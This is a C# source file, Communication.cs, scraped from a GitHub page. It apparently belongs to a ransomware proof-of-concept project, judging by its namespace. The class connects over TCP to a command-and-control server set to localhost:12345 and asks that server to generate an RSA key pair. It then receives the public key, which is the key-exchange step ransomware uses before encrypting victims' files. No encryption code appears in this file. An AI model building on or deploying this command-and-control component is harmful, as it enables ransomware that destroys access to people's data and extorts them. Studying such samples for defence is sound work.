-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathCommunication.cs
71 lines (55 loc) · 1.97 KB
/
Communication.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.Net.Sockets;
using System.Threading;
namespace Ilay_sRanomwarePoc
{
class Communication
{
private const string CommandAndControlServerHostName = "localhost";
private const string CommandAndControlServerAddress = "127.0.0.1";
private const int CommandAndControlServerPort = 12345;
private readonly IPEndPoint EndPoint;
private readonly Socket CommmunicationSocket;
public Communication()
{
//socket creation with the c&c server
IPHostEntry host = Dns.GetHostEntry(CommandAndControlServerHostName);
IPAddress ipAddress = host.AddressList[0];
EndPoint = new IPEndPoint(ipAddress, CommandAndControlServerPort);
CommmunicationSocket = new Socket(ipAddress.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
}
public bool ConnectToCommandAndControl()
{
try
{
CommmunicationSocket.Connect(EndPoint);
return true;
}
catch
{
Console.WriteLine("An Error while connecting to c&c");
return false;
}
}
public Byte[] ServerHello()//code 0=>tells the c&c server to generate apublic/private ras keys and returns the pubic one
{
Byte[] intBytes = BitConverter.GetBytes(0);
Byte[] RsaPublicKey = new byte[1024];
try
{
CommmunicationSocket.Send(intBytes);
Thread.Sleep(10000);
CommmunicationSocket.Receive(RsaPublicKey);
return RsaPublicKey;
}
catch
{
Console.WriteLine("An Error when trying to retrive public key");
return null;
}
}
}
}